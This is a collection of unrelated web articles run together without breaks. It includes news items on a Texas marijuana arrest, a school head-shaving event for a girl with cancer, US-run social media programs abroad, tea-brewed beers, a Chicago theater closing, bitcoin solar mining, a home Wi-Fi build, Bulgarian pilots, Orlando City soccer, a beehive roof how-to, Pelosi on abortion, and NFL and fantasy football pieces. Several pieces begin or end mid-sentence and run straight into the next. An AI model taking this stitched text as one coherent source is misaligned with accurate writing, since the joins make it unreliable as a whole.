You might wonder whether this is a good practice or not. In the next article I will explain what impact this has on borrowing needs of the government.
Update:
If you liked this article, read the next part about Government borrowings. Click here.LONGVIEW, Texas, Jan. 5 (UPI) -- A Texas man was arrested when police found a drug stash in his home after he called to make a report about his neighbor.
Officers from Longview Police Department arrived at the scene after receiving a 911 call about a resident, but were unable to make contact with the caller and discovered his back door was open.
"Officers went inside to check the welfare of anyone inside the home," police said. "When officers entered the living room of the house they located a large amount of marijuana spread out on a makeshift table."
Police found about 2.3 pounds of marijuana sealed in plastic bags and pickle jars throughout the house and contacted the Gregg County Organized Drug Enforcement Unit.
While waiting for the unit to arrive the homeowner, 62-year-old Randy Linwood, arrived home and told police he had called to report a problem he was having with his neighbor.
Police charged Linwood with possession of marijuana greater than four ounces and less then or equal to five pounds and was taken to Gregg County Jail without incident.Get the latest from TODAY Sign up for our newsletter
April 14, 2016, 12:23 PM GMT / Source: TODAY By Alexandra Zaslow
To the 80 students who shaved their heads, it was just hair, but to 9-year-old Marlee Pack, it's her life.
After being diagnosed with Alveolar Rhabdomyosarcoma, a type of cancer that develops from connective tissues in the body, a year ago, Marlee was finally returning to Meridian Elementary School in Broomfield, Colorado.
In an effort to support her best friend, Cameron McLaughlin decided to donate a portion of her long, curly locks, but didn't feel like that was enough — she wanted to shave her entire head.
Marlee Pack holding up the hair that had just been shaved off her best friend Cameron's head. Courtesy of Cliff Grassmick / DC
"When Cameron told Marlee she was thinking about shaving her head, Marlee got a huge smile on her face and said 'we can be baldy besties together!'" Cheray McLaughlin, Cameron's mom, told TODAY.com.
Cameron's idea blossomed into a school-wide event on March 16 called "Be Bold, Be Brave, Go Bald," where 80 students, three female teachers, both male principals and even a student's mom got their heads shaved.
Marlee Pack and Cameron McLaughlin touching each other's heads after Cameron got her hair shaved. Courtesy of Cliff Grassmick / DC
RELATED: Firefighters shave heads to support teen colleague
"We thought, what if we asked people to donate their hair or shave their head to raise money for a good cause?" McLaughlin said.
That's when McLaughlin teamed up with teacher Jody Hempelmann, who came up with the idea to raise funds for St. Baldrick's Foundation, an organization that supports childhood cancer research. Her husband Chris has been donating his hair to the foundation for a few years in honor of his coworkers son.
Students and teachers getting their heads shaved at the "Be Bold, Be Brave, Go Bald" event on March 16 Courtesy of Cliff Grassmick / DC
They ended up raising over $25,000 and eight stylists offered their services during the event. Those who would rather donate hair than shave their heads were invited to drop by Salon Toujours Belle after school.
"I didn't think that many people would shave their heads, but I feel good about going back to school and not being the only bald one," Marlee told TODAY.com.
Marlee Pack shaving her first grade teacher, Erin Dupper's, head. Courtesy of Cliff Grassmick / DC
Although the stylists were doing most of the shaving, Marlee got the opportunity to shave the head of her first grade teacher, Erin Dupper, which she found very exciting.
"I feel very connected to Marlee and wanted to do something to show her how much I care, so I thought shaving my head seemed like an easy thing to do," Dupper told TODAY.com.
RELATED: What shaving my head for cancer research taught me about hair
Marlee was there for Cameron for moral support and held her hand the whole time she was getting her head shaved. "It's OK to cry," Marlee assured her.
Marlee Pack smiling at Cameron McLaughlin as she gets her head shaved. Courtesy of Cliff Grassmick / DC
"The kids getting to see Marlee upbeat, happy and brave instead of the sick girl they were imagining made it a celebration," Dupper said.
Marlee's mom, Shelly Pack, has seen her daughter come out of her shell since the diagnosis.
"She's been through so much in the past year, I think she just faces life head on now," Pack told TODAY.com. "This event only made her even more outgoing, confident and happy and as her mom, it's refreshing to see."The US government has operated multiple social media services around the world in hopes of providing a forum for debate and possibly political unrest. The programs, which operated in Pakistan, Afghanistan, Kenya, and dozens of other countries, were similar to ZunZuneo, a US-created social media service that had 40,000 users in Cuba at its peak. That program, which was secretly run out of the US Agency for International Development (USAID), was uncovered by the Associated Press earlier this month in an extensive report. At its peak, the text messaging-based service — which has been described as "Cuban Twitter" — had some 40,000 users. It abruptly shut down in 2012 after officials ran out of cash and failed to make the service self-sustainable.
The additional programs were revealed by officials in the Obama administration on Friday, according to The New York Times. In Afghanistan and Pakistan, the social media services were run by the State Department, not USAID, and few details are available on the scope of the programs. The Pakistani program, called Humari Awaz (Our Voices), wasn't run in secret: US officials worked with the Pakistani government and telecommunications companies in the country to promote it. However, it — as well as the program in Afghanistan — were shut down like ZunZuneo. Another program in Kenya, called Yes Youth Can, is still active and is being run by USAID, according to the report. The targets of dozens of other programs are unknown, but officials say there were plans to start services in Nigeria and Zimbabwe. Both government agencies began running such programs after uprisings during the Arab Spring in 2010, which have been linked to the flow of information enabled by social media networks.Tea: An Untapped Beer Ingredient? All About Beer Magazine - Volume, Issue Sarah Annese
From breakfast stouts to coffee porters, there are plenty of beers brewed with morning’s buzzy beverage. But what about its counterpart, tea? Although it’s not yet a full-blown trend, some breweries are experimenting with different flavors of the other steeped drink, and remark on its versatility.
Stone Brewing Co.’s Japanese Green Tea IPA is a collaboration among the San Diego brewery, Baird Beer in Japan and Ishii Brewing Co.in Guam. Toshi Ishii approached Stone—where he had previously interned—about brewing a beer as a fundraiser after the 2011 tsunami in Japan. Stone brewmaster Mitch Steele says they decided to brew the beer with whole-leaf green tea imported from Japan.
“It was an IPA, so it had a lot of hop character in it,” notes Steele. “The interplay between the tea and the hops it bought was really neat and kind of fun.” Stone liked the beer so much they decided to continue making it.
Stone’s creation inspired Maine’s Baxter Brewing Co. to create its own tea beer, Ceremony, after Ben Low, director of brewing operations at Baxter, tasted the IPA at a previous Craft Brewers Conference. “That just got me interested in working with that ingredient,” he recalls. “The beer that we ended up doing was quite a bit different.”
Ceremony is brewed with gunpowder green tea leaves and matcha green tea powder, with a higher concentration of the powder. “The reason that worked well for us is that when we had higher concentration of leaves, we felt the astringency from the tea was too high.”
Both Steele and Low stress the importance of hop choice when using teas.
“I wouldn’t use Simcoe with tea. It would be too resiny … as much as I love Simcoe hops. We opted for hops that are more on the herbal side,” Steele notes. Herbal or citrusy hops, like Crystal or Sorachi Ace, work well, he says.
Low agrees. “Tea could work nicely in hoppy beers in particular,” he says. “It certainly gives a really bracing and refreshing bitterness and some astringency, which is usually not a flavor you normally want to show up in beer, but when it’s tea it kind of works.”
Garett Lockhart, head brewer at Red Brick Brewing Co. in Georgia, was inspired to brew a beer with tea because he loves the flavor and smell of chai. Initially he and his brewing team decided to do a chai spiced porter. “It dawned on me that a traditional way to serve a chai tea is to put a little bit of cream in it,” he recalls, noting that a milk stout made more sense.
Red Brick developed a partnership with organic tea purveyor Rishi Tea and created Sacred Cow, since renaming it Divine Bovine, a milk stout brewed with organic chai spices. “You get a lot of the chai tea flavors, a combination of cinnamon, cardamom, ginger, black pepper. All of that stuff comes together,” Lockhart says.
While brewers like Lockhart, Low and Steele are beginning to experiment with tea, many others have yet to do so. “I’m actually kind of surprised that more breweries aren’t brewing with teas,” he continues. “I think maybe there’s the thought that tea is such a subtle flavor that it could get lost in beer. With the right beer, the right tea could give you some cool flavors.”
While Low agrees that tea is an adaptable ingredient to use in beer, he doesn’t think it will catch on in the way that coffee has. “Coffee has more in common with beer to begin with,” he notes, referring to the roasted character found in both beverages. “But I wouldn’t be surprised if we see people use tea more. It does have some things in common with beer, and it’s an interesting contrast.”
For his part, Steele sees a lot of opportunity in tea. “It’s untapped. I think there’s a lot of versatility with it. Since we tried that beer, we have experimented with a lot of casks.” He’s added tea to casks of Stone Levitation and Stone Pale Ale. And the brewery recently released Stone CHAI-SPICED Imperial Russian Stout, brewed with a blend of cinnamon, cardamom, clove, ginger, black pepper and black tea.
Through Red Brick’s partnership with Rishi, Lockhart has also been experimenting further with tea types and flavors, using matcha, green tea and yuzu, a citrus fruit, in different brews, and plans. “We’re definitely always playing on our pilot system with teas. There’s nothing set, but I’d assume in 2016 we’ll definitely have another tea release,” he says.
For brewers using different forms of tea in their beers, Low had a few words of caution. “If you’re using matcha powder, you have to be really careful when you pour large quantities of it in a fermenter that has gas coming out of it. You could have several people walking away from that fermenter coated in green powder,” he laughs. “Matcha powder is really fine and very lightweight. It blows around very easily. Luckily, when it does, it smells really good.”
Sarah Annese is an author of Beer Lover’s New York: The Empire State’s Best Breweries, Brewpubs & Beer Bars and a founder of BeerUnion.com, a New York City-based beer blog.Piper's Alley Movie Theater to Close its Doors After 20 years
By Steven Pate in Arts & Entertainment on May 26, 2011 3:40PM
The Piper's Alley facade incorporated pieces of the Louis Sullivan-designed Garrick Theatre. on twitter this morning seem to be true, tonight may be the last time for you to catch a movie at Piper's Alley Theatre. 20 years after Sony signed the original lease in the then-new mall at North and Wells, the theater's four screens will showcase their familiar art house fare from their digs behind Second City for the last time, at least under the AMC-Loews name. After Loews closed the McClurg Court Cinema and merged with AMC soon afterwards, it had long been assumed that Piper's was on borrowed time.
Despite a perpetually moribund vibe and a space somewhat past its prime, Piper's Alley remained consistent as a centrally-located venue for independent, art house and foreign cinema that gets squeezed out of the bigger Loews-AMC locations. The theater's very last films slated are Cary Fukunaga's Jane Eyre at 7:10 pm, The Conspirator at 7:30 pm, the Ed Helms/Rob Courddry comedic vehicle Cedar Rapids at 7:35 pm and documentary I Am at 7:45 pm.
We've seen so many great movies at Piper's Alley that it's hard to pick a favorite memory from the place, but we'll never forget watching The Blair Witch Project there, if only for the zombie-like demeanor of the spooked crowd filing out down those elevators together. We'll miss the theater, and the city will miss having those screens, but we hold out hope that a new tenant might make a fresh start at the location.Can Renewable Solar Power Decentralize Bitcoin Mining Operations?
Over the past few years, some bitcoin enthusiasts have found ways to use renewable energy sources such as solar power to mitigate electrical costs associated with mining the decentralized cryptocurrency.
Also Read: Five Geeked Out Fantasies You Can Fulfill Today With Bitcoin
It’s a well-known fact that bitcoin mining consumes energy. Many people don’t realize the global cost to run the Bitcoin network, with electricity costs at millions of dollars every year. Some believe this has led to a concentration of miners in countries where electricity is significantly cheaper, like in China. It is said that mining has also resulted in larger facilities leading the race to mine bitcoins, while smaller home-based miners are typically pushed out of the competition. However, some individuals and pools have found ways to compete by offsetting the cost of electricity by utilizing renewable energy sources.
Solar Energy and Bitcoin Mining
There have been a bunch of miners over the years who have harnessed energy from the sun to fuel their mining operations. Solar energy is a technique that uses radiant light to create electrical power, and has been used by humans powering devices since around 1880. Many people have mined bitcoin using the sun’s energy, as discussions of miners using solar power to mine can be found online dating back to 2012, and every year after.
On July 1, 2012, a forum conversation on Bitcointalk.org revealed how some miners were mining bitcoins with solar power.
“I have a 1.7kw off the grid solar power setup where I am, it’s a |
have sufficient room for airflow above and provide plenty of room underneath for shelving. And everything that needed to go in that unit could easily fit, so that's what I did next:
About here, I started getting a bit jealous because this is looking very nice! The shelf in the rack is perfect for resting the Cloud Key on and we've got the NBN modem (Australia's new National Broadband Network) sitting bottom left, Optus' access point in the middle (they're the ISP and the device apparently also provides phone connectivity) and the security gateway on the right. The UAP‑AC‑HD access point is sitting out of sight and wired into the bottom right port of the switch. And that's how I left it, waiting for the cabinet to be mounted on the wall (it comes with the required brackets), the mass of cables you see in the background to be patched in and power outlets to be installed on the wall behind it and routed into the cabinet. I left all the patch leads in place to make it crystal clear which ports I'd like wired in to keep everything neat:
I mentioned the electrician was a bit unreliable, right? A week later things still weren't patched but the cabinet had been mounted so I headed back over to take a look. I realised that all the Cat6 cables actually had RJ45s installed on them anyway (which is pointless when they should be wired into the patch panel) so whilst it wasn't going to be pretty, I could wire the whole thing in and then setup the in-wall units. Here's how it now looked:
Then it was just a matter of adopting each of the access points. This is ridiculously simple: plug it in, go to the list of devices in the management interface served by the Cloud Key and click "adopt" next to each one. Same for upgrades because there was new firmware available so a quick update on those and everything was connected:
Because they all inherit the existing wifi settings I configured for use with the UAP‑AC‑HD, as soon as the adopted clients around the house begin connecting, it makes for a very pretty picture:
You'll see these are all named in a friendly: there's a "locate" feature on each access point which causes the light on it to flash when triggered by the management interface so we figured out which was which then put a logical name on it (APs in the kids' rooms have their names obfuscated for their privacy). We also named each client on the network which is why you see things like "Troy's Lenovo P50". This is great for troubleshooting, identifying which client is sucking down the most data or simply stalking who's coming and going (it's all logged). It also means you can make really cool maps like this:
This is the original 1983 floor plan loaded into Ubiquiti's management interface then each access point is dropped in place. When you load in a map, you can drag a line between two points then tell it how long that distance is so that the range of each AP can be plotted appropriately. The UAP‑AC‑HD we named "Waterside" (every time I see this I can't help but think they really need a water slide...) is the UAP‑AC‑HD so it has a greater range than the in-wall units. (This unit isn't yet mounted in the indicated location, we're still waiting on the electrician to run another Cat6 line.) Based on this diagram, signal strength is weakest around the deck area in the first picture but this is also plotted against the 5G signal which whilst faster, has less range. Here's the same map with the 2.4G spectrum instead:
Devices can switch between either spectrum so the bottom line here is that there's more than enough coverage everywhere. Of course there are many other variables such as the walls and floors the devices need to pass through, their construction, other radio interference and so on, but this gives you a pretty good idea of things.
Finally, let me show you what the in-wall access points look like fitted in the painted house because I suspect that's what will really get a lot of people thinking differently about their home network. Here's a good sample set:
I think that's a sensational outcome! Each unit is really well integrated with the room and blends in well with the existing power outlets, not to mention the colour scheme. They're slim enough and stylish enough that unlike the UAP‑AC‑PRO units I have scattered around my house, they actually feel like a part of the place. For the folks concerned that their non-tech-significant-other isn't real keen on the larger units like I have messing up the room's aesthetics, this absolutely nails it on the design front.
There was only one issue I ran into during the entire build and it was when I went back to setup the in-wall units after the cabinet had been mounted on the wall. I'd set everything up perfectly earlier on - it was glorious - but when I came back, the management interface was dead. The power had been pulled during installation (who knows how many times) and long story short, the Cloud Key wouldn't boot and I couldn't access the admin interface. I struggled with it for probably 20 minutes then decided to cut my losses and factory reset it with an expectation of having to spend another 20 minutes setting it all up again. But as soon as it booted, I was presented with the following:
I'd enabled automatic backups to the local micro SD card in the Cloud Key so once a day, the entire configuration was saved. When the device booted after factory reset, it allowed me to simply grab the latest backup and it was job done. That's pretty cool.
I'll finish this post where I started the first one I wrote about Ubiquiti:
I'm increasingly of the view that both my time and my sanity are worth more and more as the years progress
A new (or renovated) house is like a blank canvas when it comes to designing a network that helps you keep your sanity. We're so increasingly dependent on connectivity for work and play alike be that via PCs, mobile devices or the IoT stuff we could barely conceive of even a few short years ago. If you're in the same boat as Scott and Cathy, take the time to design a home network upfront and get it done right. It's too early to give a full review of what it's all like to use day by day but based on everything above I reckon it's a pretty fair assumption to say that they'll never even think about it, which is exactly how a home network should work!The aviation capacity of the country has been reduced to a critically low level, the Bulgarian Aviation Association said in a statement. Aviators oppose all kinds of manipulations of public opinion that have qualified the stance of the aviation staff of Graf Ignatievo air base as a “rebellion”, “protest” or “strike”.
On 24 October pilots from Graf Ignatievo air base refused to fly saying they felt insecure flying MiG-29s. Deputy Minister of Defense Atanas Zapryanov said the hesitation of some of the pilots was prompted by insufficient flight hours.
In turn, Defense Minister Krassimir Karakachanov that tensions among the military pilots in Graf Ignatievo were created artificially.
The BAA statement reads as follows:
“The artificial confrontation created by high-ranking state officials between different army services damages seriously the Bulgarian national security and defense”
They are convinced that the Minister of Defense and the Air Force Command will do their best to solve as soon as possible the problem of providing regular flawless flights, both in the Graf Ignatievo airfield and in the entire military aviation.
The statement of aviators has been circulated to the President, the Prime Minister, the Minister of Defense, the Chief of Defense, the Air Force Commander, and the Commander of the Graf Ignatievo airfield.
(Source: BNR | Photo: BGNES)Antonio Nocerino's first season with Orlando City has not been easy.
The veteran Italian midfielder was signed at the beginning of the year and immediately received criticism for his stocky appearance and underwhelming play at midfield.
Fan outrage spiked after the MLS Players Union released 2016 salaries, which revealed Nocerino was the second-highest paid athlete on the team with a $650,000 guaranteed salary. The frustration came to a head when a video posted to social media showed fans yelling obscenities at Nocerino after a match after popular coach Adrian Heath was fired.
The reception Nocerino received walking off the pitch after Orlando City's 3-1 victory over New England Sunday was much different, however, and he hopes it's a turning point for his career with the Lions.
He was given a standing ovation by much of the supporters section after starting and playing 78 minutes, the most time he's seen in a single game since mid-May.
"It was actually very important for me," Nocerino said through a translator. "It did bother me that I haven't been able to prove what I can do my first couple of months here. I painted a bad picture of myself with fans up until recently, but I'm going to continually work toward changing my image with the fans, gaining some continuity and playing week in and week out with a form that will be a [game-changer.]"
CAPTION Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday CAPTION Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday Nani, the winger, was born in Cape Verde and represents the Portugal national team. He was officially introduced as Orlando City’s new designated player on Monday CAPTION Orlando Pride star and Brazilian legend Marta on Monday claimed her sixth FIFA Player of Year award after she was named The Best FIFA Women’s Player 2018 during Orlando Pride star and Brazilian legend Marta on Monday claimed her sixth FIFA Player of Year award after she was named The Best FIFA Women’s Player 2018 during CAPTION Orlando City goalkeeper Mason Stajduhar completed his final round of chemotherapy Tuesday Orlando City goalkeeper Mason Stajduhar completed his final round of chemotherapy Tuesday CAPTION After Orlando City's 1-2 loss to Atlanta United, fans threw trash onto the soccer field. After Orlando City's 1-2 loss to Atlanta United, fans threw trash onto the soccer field. CAPTION A high-tech business that makes crystal and silicon lenses for fighter jets and tanks was all shook up over construction of the Orlando City Stadium across the street — and now it’s suing the soccer team, the city and the general contractor. A high-tech business that makes crystal and silicon lenses for fighter jets and tanks was all shook up over construction of the Orlando City Stadium across the street — and now it’s suing the soccer team, the city and the general contractor.
New Orlando City coach Jason Kreis said Nocerino's dedication, tactical ability and willingness to help younger players earned him an unexpected spot in the starting lineup against New England.
Teammate David Mateos said Nocerino is now beginning to feel more comfortable in MLS and is closer to match fitness than he was in previous months.
"We know the quality from Antonio," Mateos said. "He played with the best teams in the world in Italy. For the team on Sunday, he helped us so much. He needed the confidence, ya know? Because it was difficult for him when he first came. Maybe it was not the best time the last two months, but now he is starting to play and I think in the last two games … you saw how he can help the team. "
Nocerino played in the defensive midfield of a 4-2-3-1 formation against New England, his preferred position, he said. He does not like playing up the flanks.
"I like to move the ball around and having two midfielders give me the ability to do that more," Nocerino explained. "In this position, I'm able to help out my teammates at any point if they're in difficulty. Being in the middle with two midfielders gives me the opportunity to bail people out. If anything were to go wrong, I can always receive the ball and fix anything that's not running smoothly."
He went on to praise Kreis' knowledge of MLS and said the tactics the new coach is implementing seem to work well with the current roster and formation. Nocerino said he and Mateos, along with veterans Júlio Baptista and captain Kaká, also are helping the coach come up with different tactical ideas, combining their many years of international playing experience.
"My view is that unless you're Messi or Ronaldo, you win through your brain," Nocerino said. "You win through tactics and the mentality that you bring it, it's not just sheer skill. Tactics always win, tactics always prevail."
OCB moves
Orlando City signed defender Mikey Ambrose and midfielder Tony Rocha of USL side Orlando City B to MLS contracts Thursday.
Ambrose was signed after Orlando City acquired his rights of first refusal from FC Dallas in exchange for a conditional third-round pick in the 2018 MLS SuperDraft.
The left back was one of the first players signed to OCB this season. He's appeared in 18 USL matches and is a staple in OCB's starting XI. He made appearances with the U.S. under-17, -18 and -20 national teams. He also played in the FC Dallas Academy before heading to the University of Maryland, where is helped his team to two ACC championship and a Big Ten Conference title.
Ambrose and Rocha have many similarities. Both 22-year-olds were born in Texas, and both stand 5 feet, 9 inches tall and weigh 165 pounds.
Rocha has one goal and two assists in 19 USL games this season. He also was called up to Orlando City's MLS team for U.S. Open Cup matches in June.
Losing Cerén
Orlando City trained for the first time Thursday without midfielder Darwin Cerén, who was traded to the San Jose Earthquakes late Wednesday.
The Lions received creative playmaker Matías Pérez García in exchange. The new attacking midfielder is en route to Orlando and set to join the squad Friday. Kreis will present him with an Orlando City jersey before training that morning.
Orlando players are eager to help their new teammate quickly adapt, but they also are sad to lose a teammate like Cerén.
"We lost a great person. He was a role model, always optimistic, a really good person to be around," Nocerino said of Cerén. "In a more tactical sense, we lost a fighter. He would battle, he would never give up. He brought this to the team and not everyone does."
ardelgallo@orlandosentinel.comI spent a lot of time deciding on what type of cover I would build for my beehives. I can’t say that I am too impressed with the look of a standard telescoping cover. I guess that’s because it is designed to be functional and esthetics do not play a role in the business of professional beekeeping. After searching for ideas, I came across an informative post at Honey Bee Suite on The Best Ventilated Gabled Roof. This roof had the right combination of purpose and esthetics. I liked the idea of incorporating ventilation into the roof and the look of a gabled roof on top of a hive looked great. Now… I just had to give it a few City Boy extras in order to personalize my hive.
Safety
Make sure that you read and understand how to SAFELY operate your power equipment. In some of the pictures below, the safety guard has been removed so that you can get a better understanding of the photo. NEVER operate your equipment without a guard in place!
End Gables
Dress 2 pieces of pine to 3/4″ thick x 7-1/4″ wide x 18 1/8″ long.
Now layout the lines for the end gables by a) making a mark 1-1/2″ up from the sides of each gable and b) making a mark at the peak of the roof. Now connect these points and cut the gabled ends with a band saw or jig saw.
Now, draw out the design for your ventilation access. I made a star because it ties in with the design on my chicken coop door, but you could give it your own personal touch. A scroll saw makes for accurate work in cutting out the design.
Next, cut the sides of the roof to 3/4″ thick x 2″ wide x 20-1/4″ long. Now set your table saw or bandsaw to 22-1/2 degrees and rip these 2 pieces to 1-1/2″ in width.( This will allow the plywood roof to rest perfectly on the sides).
Next, cut the 4 structural supports. These supports will tie both gabled ends together and provide a nailing surface for your plywood top and shingles. You don’t have to be too fussy about the width of this material because it won’t be seen. Just make sure that they are at least 1-1/4″ wide and 20-1/4″ long.
Next drill (using a countersink bit) the screw locations into each gable end in order to attach the side pieces and structural supports. A drill press works great, but a hand-held drill will work as well. Use exterior glue and 1-1/2″ deck screws for assembly. Now, fill each screwed hole with a wood plug and trim the plug with a japanese flush cutting saw. This would be a good time to staple screening over the inside of the ventilation star. I saved this step until I made the entire project and it was a bit more challenging later on.
Roof
I made the roof from some scrap pieces of 1/2″ plywood. One side will be 1/2″ x 12-1/2″ x 24″ and the other side will be 1/2″ x 12″ x 24″. The reason for the difference in the width is for the overlap at the peak of the roof. Now, rip the length (edge) of each board at 22-1/2 degrees. This will make for a tight peak. Now flip the plywood over if it’s one solid piece and rip the other edge (bottom of the roof) at 22-1/2 degrees. If you are using 2 pieces for each side of the roof (like I did) than just rip the second board at the same degree. The table saw or band saw works good for this step. This is a good time to paint the exterior or the entire project.
Shingles
I used cedar shingles because I like the look and the hives will tie in nicely with my shed/chicken coop which is also shingled in cedar. You can also use asphalt if you prefer. Either way, just make sure to double your bottom course and not to have the gaps between shingles identical on all courses. I used a pneumatic stapler to secure the shingles to the roof and marked my location in order to drive the staple into the plywood and structural supports. * Note: The shingles overhang the roof sides and bottom by 1″.
First start by stapling the first course and trim the shingles at the top of the peak with a fine tooth saw.
Now secure the next course right on top of the entire first course, making sure to not align this course over the sides of the previous course. This will help keep moisture from penetrating to the plywood. Next, put your third course of shingles on, making sure to start them further up the roof. Follow up by trimming the shingles at the roof peak.
Peak Cap
I cut some repurposed coated metal roofing for a cap. The measurements were 7-1/2″ wide x 26″ long. I bent the metal on a sharp edge and attached it with 8 roofing nails. Make sure to pre-drill each location first with a metal bit that is 1/16″ less than the diameter of the nail.
And there you have it. I think the gabled roof is a great addition to my hives. I hope you give it a try! If you would like to learn how I built my hive boxes CLICK HERE. If you would like to learn how to build the elevated hive stand CLICK HERE.
AdvertisementsThe Democratic Party should not impose support for abortion rights as a litmus test on its candidates, House Minority Leader Nancy Pelosi, D-Calif., said Tuesday, because it needs a broad and inclusive agenda to win back the socially conservative voters who helped elect President Donald Trump.
"This is the Democratic Party. This is not a rubber-stamp party," Pelosi said in an interview with Washington Post reporters.
"I grew up Nancy D'Alesandro, in Baltimore, Maryland; in Little Italy; in a very devout Catholic family; fiercely patriotic; proud of our town and heritage, and staunchly Democratic," she added, referring to the fact that she is the daughter and sister of former mayors of that city. "Most of those people — my family, extended family — are not pro-choice. You think I'm kicking them out of the Democratic Party?"
Those comments from one of the Democrats' most powerful and high-profile women come at a moment of opportunity and struggle within the party. It has been shut out of power in Washington, controlling neither house of Congress nor the White House, and its ranks have been decimated at the state and local level.
Given Trump's unpopularity and the recent stumbles that Republicans have made in Congress, Democrats have great hopes of making significant gains in the 2016 midterm election. But the opposition party is also gripped by an internecine battle for its own identity, moving leftward with calls for ideological purity by portions of its activist liberal base while also trying to reach out to the rural, working-class Americans who turned against Democrats last year.
Abortion has become a flash point.
Newly installed Democratic National Committee Chairman Thomas Perez and former presidential candidate Sen. Bernie Sanders, I-Vt., came under criticism by abortion rights advocates during their "unity tour" last month, when they appeared together at a rally for an Omaha mayoral candidate who has sponsored legislature bills to restrict abortion.
Perez responded with a statement declaring that support for abortion rights is "nonnegotiable" for Democrats, and that they should speak with "one voice" on it.
At the time, Pelosi bristled at the party chairman's comments, saying on NBC's "Meet the Press" on April 23 that "of course" it is possible for an abortion opponent to be a member of the Democratic Party. She added that she has served for many years in Congress with colleagues of her party who do not share her own liberal views on the subject.
On Tuesday, she went further, arguing that the Democrats cannot afford to enforce an ideological test on the abortion issue.
"In our caucus, one thing unifies us: our values about working families," Pelosi said. "Some people are more or less enthusiastic about this issue or that issue or that issue. They'll go along with the program, but their enthusiasm is about America's working families."
She also suggested that the party's presumed rigidity on social issues is one reason that Democrats were unable to appeal to segments of the electorate that might otherwise have been in tune with their broader agenda.
"You know what? That's why Donald Trump is president of the United States — the evangelicals and the Catholics, anti-marriage equality, anti-choice. That's how he got to be president," she said. "Everything was trumped, literally and figuratively by that."
Pelosi's comments drew a guarded rebuke from Ilyse Hogue, president of NARAL Pro-Choice America, a leading abortion rights advocacy organization. Hogue said that while many Democrats have personal objections to abortion, they should not be allowed to express those views in policy.
"Encouraging and supporting anti-choice candidates leads to bad policy outcomes that violate women's rights and endanger our economic security," Hogue said via email.
The platform approved by Democrats at their national convention in Philadelphia last year "went further than the Party has ever gone to stand up for the women's rights. It didn't just seek to protect abortion access — it sought to expand it," Hogue said. "If the Democratic Party is going to gain back power, it can't go backward, it can't back down and it can't trade away these principles."
Polling indicates that a significant portion of people who consider themselves Democrats do indeed have misgivings about abortion, which has been legal nationally since the Supreme Court's 1973 Roe v. Wade decision.
Surveys by the Pew Research Center have generally found that about 3 in 10 Democrats say that abortion should be illegal in all or most cases.
Pelosi expressed doubt whether any hard-line antiabortion candidate could win a Democratic presidential primary. She also noted that the debate over abortion no longer boils down to whether a candidate is for or against the basic right to the procedure, but rather over whether and what types of limits should be imposed.
As a result, "within the Democrats, I don't think that you'll see too many candidates going out there and saying, 'I'm running as a pro-life candidate,' " she said. "It's how far are you willing to go on the issue - but let's not spend too much time" on the subject.
"It's kind of fading as an issue," she said. "It really is."
Pelosi pointed to Sen. Robert Casey, D-Pa., as a case study in how the Democrats tolerate diverse views. Casey describes himself as personally opposed to abortion, but he has also fought alongside other Democrats against efforts to withdraw federal funds from Planned Parenthood.
"Bob Casey — you know Bob Casey — would you like him not to be in our party?" Pelosi said.
That name has particular resonance within the party. Casey's late father, Pennsylvania Gov. Robert Casey, was denied a speaking spot at the 1992 Democratic National Convention when he asked to present a minority report opposing the party's platform plank on abortion, which declared "reproductive choice" as a "fundamental right" that should receive government financing.Greg Cosell is not only the son nephew of broadcasting legend Howard Cosell, he's also a fixture at NFL films and probably watches as much tape as any media pundit there is. Outside of guys who actually work for NFL teams, I would daresay there's no one who watches the amount of actual game tape that Cosell does.
So for that reason, it's notable for me when he releases a mock draft. I'm not going to post his whole mock here because frankly I have a bit of mock draft fatigue... but I do want to highlight his Eagles selection for the great scouting report that comes with it.
He's got the Eagles taking Oregon LB Dion Jordan.
This is where the defensive player that intrigues me the most comes off the board. That's Oregon DE/OLB Dion Jordan. I was fortunate to be on the field at the Scouting Combine, and to watch this 6-foot-6, 250-pounder move was a revelation. He looked like a wide receiver. On film, he was naturally athletic, very smooth and fluid, and surprisingly explosive given his length. At Oregon this past season, he primarily played in space, which he did exceptionally well. I had to study a lot of games to get a feel for his pass rush skills. They were impressive, and I believe he will become a very good edge rusher in the NFL. He showed the ability to get low and bend the edge with the needed flexibility to succeed against quality NFL offensive tackles. There's much to like about Jordan, and he's just scratching the surface. Want a comparison? How about Jason Taylor.
Jason Taylor is 6th on the NFL's all time sack list and will almost certainly be in the hall of fame one day, so it's high praise to use him as a comparison for Jordan. Body wise, they're nearly identical. Both check in around 6-6, 240 and both were DE/LB tweeners coming out of college. For Taylor, that was probably seen as more of knock against him at the time because the 3-4 defense wasn't as pervasive as it is today. It's probably part of the reason he fell to the 3rd round. In today's NFL however, it's a big part of why Jordan could very well be a top 5 pick.
Obviously comparing Jordan to Taylor isn't projecting that he'll be as good as Taylor, rather it's more reflective of his skill set and possible ceiling.
So has Cosell changed your mind at all? Is Jason Taylor a fair comparison for Dion's game?FFDynasty260
By: Jerry Sinclair (Twitter: @TheSinDynasty)
Updated: 6/13/2017
AJ Green vs Amari Cooper
Every off-season, we see a great deal of topics and debates arouse within the Fantasy Football community. One of the most recent debates that has occurred this off-season, is one that we just can’t seem to get away from. AJ Green vs Amari Cooper. The epitome of the Dynasty Fantasy Football argument of a young player with tremendous upside against that of a seasoned vet with years of excellent production.
With the recent conundrum of Green vs Cooper going on throughout the Twitter-sphere, it was only natural to bring the Tweets into some articles. FFDynasty260 will be breaking this debate up in several pieces, each covering a particular aspect of the issue. Our first portion comes from one of our writers, Jerry Sinclair.
AJ Green vs Amari Cooper: Part 1, The Logical Approach
Evaluating Youth
All dynasty football players are gamblers at our core. We aren’t content in redraft leagues. Going after the same players year after year is dull. We needed dynasty to let us draft 40+ new rookies every year, before they’ve even stepped foot on a NFL practice field. The true degenerates amongst us, take it a step further with ‘Devy’ leagues. In Devy leagues, you not only draft players still in college, but possibly even high school. It’s the thrill of the gamble. Knowing the glory, and praise, that would ensue if your prospect were to turn into an all-pro. It adds a curve ball to any trade talks, or player evaluation. That of course, is understanding the potential of a young player. Specifically, before your league mates see the potential. There it is, the deadliest word in the dynasty community, potential.
